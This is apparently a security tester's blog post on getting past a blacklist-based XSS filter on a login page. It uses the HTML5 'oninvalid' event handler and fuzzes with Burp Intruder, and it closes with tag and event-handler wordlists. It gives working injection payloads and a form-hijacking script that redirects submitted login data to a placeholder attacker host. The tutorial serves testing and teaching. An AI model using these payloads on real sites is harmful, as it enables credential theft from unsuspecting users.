I recently had some luck using HTML 5 event handlers to exploit XSS. This post includes some of the outcomes and a bit of how to replicate the steps using Burp Suite’s Intruder using some wordlists stuck at the end of this post.
The target had attempted to use blacklisting to prevent dangerous tags and event handler combinations. So things like “onload” and “onerror” were rejected when they were within the context of an HTML tags. So you would see this behaviour:
Probe | Response |
onerror | String on own is not a threat. Filter allows it |
<img src=x onerror=”alert(1);”/> | String is inside a tag. Filter blocks it |
Crucially the target was doing nothing to block or encode individual characters so we had the full range listed below:
- “
- <
- >
- =
- ;
- white-space
Not encoding these characters pretty much guarantees XSS will be exploitable.
Relying on a pure blacklist approach is a poor defence which is why it was bypassed with a bit of elbow grease.
Injecting when angle brackets are possible
If your target allows angle brackets you can create a new HTML tag and then use my new friend the HTML 5 “oninvalid” event handler as shown below:
"&gt;&lt;input style="visibility: hidden" oninvalid="alert(1)" required&gt;&lt;a="This is interesting because:
- It introduces a new input tag.
- By setting the id to “a” we can use getElementById(“a”) in payloads (see next section)
- Then it makes that invisible using the style attribute.
- It uses my new buddy “oninvalid” to contain the JavaScript to execute.
- Ending with “required” which means when a form is submitted if this field is empty the event handler will trigger.
The “oninvalid” event handler is enabled in all modern web browsers so this has a nice cross browser support.
Payloads with user interaction are usually not so good. While other event handlers like “oncontextmenu” worked, the user would have to right click on the injected area. Even after making something cover the whole page why would they right click? This is why I really like “oninvalid” because it is natural to actually submit a web form when the user is presented with one. Particularly considering the fact I was injecting into a Login page.
Example Payload to snoop on a form
I created a payload which would redirect form data to an attacker’s HTTP server. For readability this has been split into three lines as shown below:
document.getElementById("a").value="a"; document.forms[0].action="https://ATTACKER_HOST/"; document.forms[0].method="GET";First it alters the value of our injected parameter so that the form will then submit.
Then it alters the action to our web server. To avoid mixed content warnings it is most likely that you will need to start an HTTPS listener. If yours has a valid certificate then all the better.
Finally it changes the method to GET so the form details are now in a URL for the server logs. This is not strictly necessary as you could create a route to log details over HTTP POST. As I am not actually a bad guy my PoC is enough at this point.
Injecting when angle brackets are NOT possible
If the target denies angled brackets you cannot create a new input tag. If your probes land inside an “<input>” tag (as mine actually did) I was able to refine the exploit. Our friend “oninvalid” can use regular expressions to validate input specified by a “pattern”. You can make that pattern always fail to then intercept form data.
The following shows the probe which would work for that:
" oninvalid="alert(1)" pattern=".{6,}"So long as the user input does not match the pattern your alert message will popup when the form is displayed.
Mileage varies with this one. I was injecting into an input of type “hidden” which did not honour the oninvalid (for good reason). But when the type is “text” it worked. All of this tested in Firefox only.
Enumerating the Defences
As I cannot disclose what I was probing in this case, lets say that the vulnerable parameter was called “xssparam”. So I was injecting into something like this:
https://target/login.php?xssparam=<INJECT_HERE>When I set the value of “xssparam” the application did one of two things:
- IF the value included a blocked term (i.e. “onerror”) then the entire parameter was rejected. The response page did not include any part of the “xssparam” value.
- IF the value included no blocked terms then the entire contents of “xssparam” was returned in the HTML response page.
This means that the target was blocking unsafe input. This is a better approach than trying to sanitise input (strip the bad stuff, and return ‘safe’ data) which usually just adds in more headaches. So that is something at least.
The problem with pure blacklists is simply an arms race against the filter where you try to locate HTML tags and event handlers which are not blocked. The next section explains how to use Burp’s Intruder to do this.
Using Intruder to Locate Weaknesses
Having enumerated the defences my favourite approach in this case is to use Burp’s intruder to find tags and probes which are allowed. To do this you would follow this process:
- Send the baseline request to intruder.
- Find the location of the injection point and mark it up.
- In this case login.php?xssparam=XSS1%20<INJECT_HERE>%20XSS2
- By using “XSS1” and “XSS2” we have an easy way to find our probes in the HTTP response.
- Create a txt file of probes to try. In this case I have used a list of HTML tag names and HTML event handlers which are provided at the end of this post.
- Load those probes
- Configure a “grep extract” to locate the probe in the response and extract it as shown below:
When you run the intruder process your grep extract will list words which are not blocked by the filter:
In this case my process found that all HTML 5 event handlers worked in a raw probe. While the list of HTML tags was limited (but not shown). The final probe listed at the start of this was generated after discovering that the “input” tag and “oninvalid” were permitted past the filter. Hey, nobody said it was a GOOD filter!
Hopefully you now know how to use Burp’s Intruder to go manually hunting for XSS. Which is the point of this post.
List of HTML 5 Tags
This list was taken from the list here:
https://www.w3schools.com/tags/default.asp
For ease you can copy, paste and save this:
a abbr acronym address applet area article aside audio b base basefont bdi bdo big blockquote body br button canvas caption center cite code col colgroup data datalist dd del details dfn dialog dir div dl dt em embed fieldset figcaption figure font footer form frame frameset h1 to h6 head header hr html i iframe img input ins kbd label legend li link main map mark meta meter nav noframes noscript object ol optgroup option output p param picture pre progress q rp rt ruby s samp script section select small source span strike strong style sub summary sup svg table tbody td template textarea tfoot th thead time title tr track tt u ul var video wbrList of HTML 5 Event Handlers
This list was taken from the list here:
https://www.quackit.com/html_5/tags/html_h3_tag.cfm
For ease you can copy, paste and save this:
onabort oncancel onblur oncanplay oncanplaythrough onchange onclick oncontextmenu ondblclick ondrag ondragend ondragenter ondragexit ondragleave ondragover ondragstart ondrop ondurationchange onemptied onended onerror onfocus onformchange onforminput oninput oninvalid onkeydown onkeypress onkeyup onload onloadeddata onloadedmetadata onloadstart onmousedown onmousemove onmouseout onmouseover onmouseenter onmouseup onmousewheel onpause onplay onplaying onprogress onratechange onreadystatechange onscroll onseeked onseeking onselect onshow onstalled onsubmit onsuspend ontimeupdate onvolumechange onwaiting
2 Comments